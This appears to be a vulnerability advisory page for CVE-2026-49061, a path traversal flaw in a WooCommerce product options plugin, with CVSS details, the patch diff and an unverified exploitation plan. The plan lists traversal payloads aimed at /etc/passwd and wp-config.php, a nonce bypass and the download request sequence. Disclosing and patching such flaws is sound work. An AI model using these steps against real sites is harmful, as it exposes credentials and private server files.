CVE-2026-49061

WPC Product Options for WooCommerce <= 3.2.1 - Unauthenticated Arbitrary File Download

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.2.2
Patched in
11d
Time to patch

Description

The WPC Product Options for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.2.1. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.2.1
PublishedJune 8, 2026
Last updatedJune 18, 2026
Affected pluginwpc-product-options

What Changed in the Fix

Changes introduced in v3.2.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal) ## 1. Vulnerability Summary The **WPC Product Options for WooCommerce** plugin (versions <= 3.2.1) is vulnerable to an **Unauthenticated Arbitrary File Download** via Path Traversal. The vulnerability exists in the `p…

Show full research plan

Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal)

1. Vulnerability Summary

The WPC Product Options for WooCommerce plugin (versions <= 3.2.1) is vulnerable to an Unauthenticated Arbitrary File Download via Path Traversal. The vulnerability exists in the process_file_link method of the Wpcpo_Cart class. The plugin allows users to add custom data to cart items, including file paths intended for legitimate file uploads. However, the plugin fails to validate these paths when processing a download request and, in the case of order-related downloads, fails to properly verify security nonces.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Any frontend page (the function is hooked to the wp action).
  • Vulnerable Parameters: wpcpo-key, wpcpo-cart-item (for cart items) or wpcpo-order-item (for order items).
  • Authentication: None required (unauthenticated).
  • Preconditions:
    1. WooCommerce must be active.
    2. An attacker must be able to add an item to the cart with a manipulated file attribute in the wpcpo-options array.
    3. For the "Cart" path, a nonce wpcpo_cart_file is required.
    4. For the "Order" path, a nonce is required but not verified, only checked for existence.

3. Code Flow

The vulnerability is located in includes/class-cart.php:

  1. Entry Point: The Wpcpo_Cart constructor registers process_file_link to the wp hook:
    add_action( 'wp', [ $this, 'process_file_link' ] );
  2. Order Download Path (The "Zero-Auth" Path):
    • The function checks isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ).
    • CRITICAL BUG: It checks isset($_GET['_wpnonce']) but never calls wp_verify_nonce() for the order-item block.
    • It retrieves metadata: $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ).
    • It extracts the path: $tmp_file_name = $options[ $file_key ]['file'];.
    • It passes this directly to the sink: readfile( $tmp_file_name );.
  3. Cart Download Path:
    • The function verifies a nonce: wp_verify_nonce( $_GET['_wpnonce'], 'wpcpo_cart_file' ).
    • It retrieves the path from the current session: $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];.
    • Sink: readfile( $tmp_file_name );.

The core issue is that the file attribute in wpcpo-options (stored in cart session or order meta) is populated via add_cart_item_data without path validation, allowing traversal strings like ../../../../wp-config.php.

4. Nonce Acquisition Strategy

Cart Path (wpcpo_cart_file)

If using the cart-based exploitation (no checkout required):

  1. Identify Trigger: The nonce is generated when a cart item with a file option is displayed.
  2. Shortcode/Page: Navigate to the WooCommerce Cart page (/cart/).
  3. Extraction: The plugin uses woocommerce_get_item_data to render option details. If an item has a "file" option, it generates a download link.
  4. Browser Eval: Use browser_eval on the Cart page to extract the nonce from the href of the download link.
    • browser_eval("document.querySelector('a[href*=\"wpcpo-cart-item\"]').href")

Order Path (Bypass)

The Order path in process_file_link is fundamentally broken:

if ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {
    // ... logic follows without calling wp_verify_nonce()
}

No valid nonce is required. Any value (e.g., _wpnonce=1) will satisfy the isset check.

5. Exploitation Strategy

Phase 1: Inject Malicious Path into Cart

Perform a POST request to add a product to the cart while injecting the traversal path.

  • Target: A product page (e.g., /?product=test-product) or /?add-to-cart=ID.
  • Parameters:
    • add-to-cart: [PRODUCT_ID]
    • wpcpo-options[wpcpo-exploit][file]: ../../../../../../../../../../etc/passwd
    • wpcpo-options[wpcpo-exploit][url]: 1 (required to trigger the isset check in process_file_link)
    • wpcpo-options[wpcpo-exploit][value]: exploit.txt

Phase 2: Retrieve Download Credentials

Navigate to /cart/ to get the wpcpo-cart-item key (a MD5 hash generated by WooCommerce) and the _wpnonce.

  • Use http_request to GET /cart/.
  • Regex for the download link: \?wpcpo-key=([^&]+)&wpcpo-cart-item=([^&]+)&_wpnonce=([^&"]+).

Phase 3: Trigger Arbitrary Download

Construct the final request.

  • URL: /?wpcpo-key=[KEY]&wpcpo-cart-item=[CART_ITEM_KEY]&_wpnonce=[NONCE]
  • Expected Response: Contents of /etc/passwd.

6. Test Data Setup

  1. Create Product: Use WP-CLI to create a simple product.
    • wp post create --post_type=product --post_title="Exploit Target" --post_status=publish
  2. Enable WPC Options: (Optional) The plugin usually requires a "File Upload" field to be configured for a product, but if the add_cart_item_data filter is globally active, it may accept wpcpo-options POST data regardless of backend configuration.
  3. Identify Product ID: Get the ID of the created product via wp post list --post_type=product.

7. Expected Results

  • The process_file_link function will execute because the wpcpo-key and wpcpo-cart-item (or order-item) parameters are present.
  • The isset(WC()->cart->cart_contents[...]) check will pass because we populated the cart via POST.
  • The readfile() function will be called with the path ../../../../../../../../../../etc/passwd.
  • The HTTP response will contain the sensitive file content with Content-Type: application/octet-stream (or inferred mime type).

8. Verification Steps

  1. Check Cart Content: Use WP-CLI to verify the injected data exists in the session (if possible) or simply verify the HTTP response body.
  2. Order Meta Verification: If testing the Order path, use WP-CLI to check if the malicious path was saved:
    • wp post meta list [ORDER_ITEM_ID] (Note: Order items are in the woocommerce_order_items table).

9. Alternative Approaches

If add_cart_item_data filters/sanitizes the file key, attempt the Order path by completing a checkout:

  1. Add to cart as above.
  2. Complete checkout at /checkout/ (use "Check payments" or a free product).
  3. Find the order_item_id from the "Order Received" page.
  4. Trigger: /?wpcpo-key=wpcpo-exploit&wpcpo-order-item=[ID]&_wpnonce=anyvalue.
  5. This bypasses the wp_verify_nonce requirement entirely.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPC Product Options for WooCommerce plugin is vulnerable to unauthenticated arbitrary file download due to a path traversal flaw in the `process_file_link` function. Attackers can inject arbitrary file paths into cart item metadata and subsequently trigger a download, potentially accessing sensitive server files like `wp-config.php`.

Vulnerable Code

// includes/class-cart.php line 62 (Cart download block)
if ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) {
    $file_name     = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value'];
    $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];
    // ... (mime type logic)
    header( "Content-Length: " . filesize( $tmp_file_name ) );
    readfile( $tmp_file_name );
    exit();
}

---

// includes/class-cart.php line 105 (Order download block)
if ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {
    // Note: No wp_verify_nonce call here
    if ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) {
        $file_name     = $options[ $file_key ]['value'];
        $tmp_file_name = $options[ $file_key ]['file'];
        // ... (mime type logic)
        header( "Content-Length: " . filesize( $tmp_file_name ) );
        readfile( $tmp_file_name );
        exit();
    }
}

---

// includes/class-cart.php line 275 (Data ingestion - inferred from patch)
} else {
    $post_options[ $key ] = $data;
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wpc-product-options/3.2.1/includes/class-cart.php	2026-05-28 04:07:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wpc-product-options/3.2.2/includes/class-cart.php	2026-06-03 08:48:06.000000000 +0000
@@ -60,7 +60,13 @@
 				if ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) {
 					$file_name     = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value'];
 					$tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];
-					$mime_type     = false;
+
+					// Security: validate the file path is within the uploads directory
+					if ( ! $this->validate_file_path( $tmp_file_name ) ) {
+						wp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 );
+					}
+
+					$mime_type = false;
 
 					if ( function_exists( 'finfo_open' ) ) {
 						$finfo     = finfo_open( FILEINFO_MIME_TYPE );
@@ -108,7 +114,13 @@
 				if ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) {
 					$file_name     = $options[ $file_key ]['value'];
 					$tmp_file_name = $options[ $file_key ]['file'];
-					$mime_type     = false;
+
+					// Security: validate the file path is within the uploads directory
+					if ( ! $this->validate_file_path( $tmp_file_name ) ) {
+						wp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 );
+					}
+
+					$mime_type = false;
 
 					if ( function_exists( 'finfo_open' ) ) {
 						$finfo     = finfo_open( FILEINFO_MIME_TYPE );
@@ -275,7 +287,9 @@
 							}
 						}
 					} else {
-						$post_options[ $key ] = $data;
+						// Security: sanitize option data - strip keys that should only come from file uploads
+						unset( $data['file'], $data['url'], $data['file_url'] );
+						$post_options[ $key ] = wc_clean( $data );
 					}
 
 					if ( apply_filters( 'wpcpo_clear_request_data', true, $cart_item_data, $product_id ) ) {
@@ -311,6 +325,38 @@
 			return $upload;
 		}
 
+		/**
+		 * Validate that a file path is within the WordPress uploads directory.
+		 * Prevents arbitrary file read attacks via path traversal.
+		 *
+		 * @param string $file_path The file path to validate.
+		 *
+		 * @return bool True if the path is valid and within uploads directory.
+		 */
+		private function validate_file_path( $file_path ) {
+			if ( empty( $file_path ) || ! is_string( $file_path ) ) {
+				return false;
+			}
+
+			// Resolve the real path to prevent directory traversal (../ etc.)
+			$real_path = realpath( $file_path );
+
+			if ( false === $real_path ) {
+				return false;
+			}
+
+			// The file must be within the WordPress uploads directory
+			$upload_dir = wp_upload_dir();
+			$upload_base = realpath( $upload_dir['basedir'] );
+
+			if ( false === $upload_base ) {
+				return false;
+			}
+
+			// Ensure the resolved path starts with the upload base directory
+			return str_starts_with( $real_path, $upload_base . DIRECTORY_SEPARATOR );
+		}

Exploit Outline

The exploit involves three steps: 1) Injecting a malicious file path by adding a product to the WooCommerce cart via a POST request. The attacker includes a `wpcpo-options` parameter where the `file` sub-key contains a traversal string (e.g., `../../wp-config.php`). 2) Identifying the target endpoint. For the 'Order' path, the attacker can proceed to checkout or use a known order item ID. This path is particularly vulnerable because it checks for the presence of a `_wpnonce` but does not actually verify it. 3) Triggering the download by sending a GET request to the site root with parameters `wpcpo-key` (set during injection), `wpcpo-order-item` (the item ID), and a dummy `_wpnonce`. The server will then serve the file specified in the injected metadata using the `readfile()` function.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.